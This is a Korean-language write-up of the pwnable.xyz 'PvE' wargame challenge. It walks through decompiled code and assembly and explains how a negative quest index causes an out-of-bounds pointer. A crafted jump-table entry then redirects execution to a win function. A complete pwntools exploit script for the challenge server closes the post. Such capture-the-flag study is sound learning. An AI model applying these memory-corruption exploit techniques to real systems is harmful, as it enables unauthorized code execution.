Wargame/pwnable.xyz
pwnable.xyz / PvE
Syine Mineta
2020. 5. 12. 03:23
이 바이너리에서는 2개의 구조체를 사용한다.

attack 문제와 비슷한 버그가 있다.
void __fastcall pve()
{ signed __int64 r; // [rsp+8h] [rbp-18h] if ( hero->level <= 5 ) { hero->quest = &quests[rand() % 4]; } else { print_quests(); printf("Pick a quest: "); r = read_int(); if ( r <= 3 ) hero->quest = &quests[r]; } play_quest(hero->quest); } |
hero의 레벨이 5 이상이면 퀘스트를 직접 선택할 수 있다. r을 음수로 설정해서 OOB read를 할 수 있고, hero->quest 포인터를 비교적 자유롭게 움직일 수 있다.
이 버그를 찾고 나서 어떻게 할 지 몰라서, 대충 아무 음수나 넣고 디버거를 돌리면서 확인해 봤다.
void __fastcall play_quest(quest *quest)
{ while ( 2 ) { switch ( quest->index ) { case 0: ... break; case 1: ... break; case 2: ... break; case 3: ... break; case 4: case 5: return; default: continue; } break; } } |
play_quests의 구조는 대략 이렇다. switch에 quest->index가 들어간다. 해당 루틴을 어셈블리로 보자.
.text:000000000040113F cmp eax, 5 ; switch 6 cases
.text:0000000000401142 ja short def_401169 ; jumptable 0000000000401169 default case .text:0000000000401144 nop dword ptr [rax+00h] .text:0000000000401148 .text:0000000000401148 def_401169: ; CODE XREF: play_quest+1A↑j .text:0000000000401148 mov eax, eax ; jumptable 0000000000401169 default case .text:000000000040114A lea rdx, ds:0[rax*4] .text:0000000000401152 lea rax, jpt_401169 .text:0000000000401159 mov eax, ds:(jpt_401169 - 401674h)[rdx+rax] .text:000000000040115C movsxd rdx, eax .text:000000000040115F lea rax, jpt_401169 .text:0000000000401166 add rax, rdx .text:0000000000401169 jmp rax ; switch jump |
eax는 quest->index 값을 들고 있으며, 최종적으로 rax는 jmp 직전에 0x401674 + (0x401674)[(4 * quest->index)] 값을 갖게 된다.
quest index를 -0x21f58d0fac687d60로 설정해서 hero->quest를 0x602520으로 만들고 hero->quest->index가 s2를 가리키도록 한다. 1번 quest에서 s2에 16바이트를 입력할 수 있는데, 첫 4바이트는 jump table을 기준으로 s2+4 의 index로 설정하고 다음 4바이트는 win+4와 jump table의 주소 차이를 넣어줘서 jmp rax
를 할 때 rax가 win+4를 나타내도록 한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
from pwn import *
import argparse def exploit() : while True : r = p.recv(timeout=5) if b'Level: 6' in r : break p.write(b'1\x00') payload = p32((0x6025E4-0x401674) // 4) payload += p32((0x400A90-0x401674) & 0xFFFFFFFF) p.write(b'2\x00') p.writeafter(b'quest: ', b'1\x00') p.writeafter(b'Quest: ', payload) p.writeafter(b'> ', b'2\x00') p.writeafter(b'quest: ', b'-0x21f58d0fac687d60\x00') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30042, fam='ipv4') else : p = process('./challenge') exploit() |

Last update: 5/12/2020